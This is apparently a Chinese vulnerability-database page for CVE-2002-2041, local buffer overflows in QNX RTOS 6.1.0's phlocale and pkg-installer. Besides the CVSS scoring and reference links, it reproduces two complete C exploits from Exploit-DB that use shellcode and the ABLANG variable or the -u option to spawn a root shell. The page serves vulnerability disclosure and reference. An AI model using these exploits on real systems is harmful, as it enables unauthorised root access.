CVE-2002-2041
CVSS7.2
发布时间 :2002-12-31 00:00:00
修订时间 :2008-09-10 15:16:12
NMCOE    

[原文]Multiple buffer overflows in realtime operating system (RTOS) 6.1.0 allows local users to execute arbitrary code via (1) a long ABLANG environment variable in phlocale or (2) a long -u option to pkg-installer.


[CNNVD]QNX RTOS PKG-Installer缓冲区溢出漏洞(CNNVD-200212-738)

        realtime operating system (RTOS) 6.1.0版本存在多个缓冲区溢出漏洞。本地用户可以通过(1)超长phlocale中的ABLANG环境变量或(2)超长pkg - installer的- u选项执行任意代码。

- CVSS (基础分值)

CVSS分值: 7.2 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-2041
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2002-2041
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200212-738
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/4917
(UNKNOWN)  BID  4917
http://www.iss.net/security_center/static/9259.php
(UNKNOWN)  XF  qnx-rtos-pkginstaller-bo(9259)
http://www.iss.net/security_center/static/9258.php
(UNKNOWN)  XF  qnx-rtos-phlocale-bo(9258)
http://www.securityfocus.com/bid/4918
(UNKNOWN)  BID  4918

- 漏洞信息

QNX RTOS PKG-Installer缓冲区溢出漏洞
高危 缓冲区溢出
2002-12-31 00:00:00 2005-10-20 00:00:00
本地  
        realtime operating system (RTOS) 6.1.0版本存在多个缓冲区溢出漏洞。本地用户可以通过(1)超长phlocale中的ABLANG环境变量或(2)超长pkg - installer的- u选项执行任意代码。

- 公告与补丁

        Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com .

- 漏洞信息 (21505)

QNX RTOS 6.1 phlocale Environment Variable Buffer Overflow Vulnerability (EDBID:21505)
linux local
2002-06-03 Verified
0 badc0ded
N/A [点击下载]
source: http://www.securityfocus.com/bid/4917/info

The QNX phlocale utility is prone to an exploitable buffer overflow condition. This is due to insufficient bounds checking of the ABLANG environment variable. Exploitation of this issue may result in execution of arbitrary attacker-supplied instructions as root. 

/* QNX phlocale $ABLANG exploit, gives you a cute euid=0 shell. 
 * If it doesnt work for you, then you most likely need to change
 * the address to system() and/or the ret.
 * 
 * www.badc0ded.com 
*/

main ()
{ 
   char s[]="\xeb\x0e\x31\xc0\x5b"
            "\x88\x43\x2\x53\xbb"
            "\x80\x95\x04\x08"       //system() address
            "\xff\xd3\xe8\xed\xff"
            "\xff\xff\x73\x68";
   char payload[1000];
   memset (payload,0x90,sizeof(payload));
   sprintf(payload+971,"%s%s",s,"\x78\x7b\x04\x08");
   setenv("ABLANG",payload);
   execlp("/usr/photon/bin/phlocale","phlocale",0);
}


		

- 漏洞信息 (21506)

QNX RTOS 6.1 PKG-Installer Buffer Overflow Vulnerability (EDBID:21506)
linux local
2002-06-03 Verified
0 badc0ded
N/A [点击下载]
source: http://www.securityfocus.com/bid/4918/info

It has been reported that the pkg-installer utility for QNX is vulnerable to a buffer overflow condition.

The vulnerability is a result of an unbounded string copy of the argument to the "-U" commandline option of pkg-installer to a local buffer. 

/* Quick and dirty QNX pkg-installer root exploit.
 * The shellcode sucks, it is longer than it has
 * to be and you need the address to system() for 
 * it to work. Yes I know I'm lazy....
 * 
 * http://www.badc0ded.com 
*/

main(int argc, char **argv)
{
   int ret=0x804786d;
   char *pret;
   char s[]="\xeb\x0e\x31\xc0\x5b"
            "\x88\x43\x2\x53\xbb"
            "\xe4\xb4\x04\x08"       //system() address
            "\xff\xd3\xe8\xed\xff"
	    "\xff\xff\x73\x68";
   char payload[2000];
   if (argc>=2)
      ret=ret-atoi(argv[1]);
   pret=&ret;
   printf("using ret %x\n",ret);
   memset(payload,0x90,1254);
   sprintf(payload+1254,"%s%s",s,pret);
   execlp("/usr/photon/bin/pkg-installer","pkg-installer","-u",payload,0);

}

		

- 漏洞信息

56496
QNX RTOS phlocale ABLANG Environment Variable Local Overflow
Local Access Required Input Manipulation
Loss of Integrity

- 漏洞描述

- 时间线

2002-06-03 Unknow
Unknow Unknow

- 解决方案

Products

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站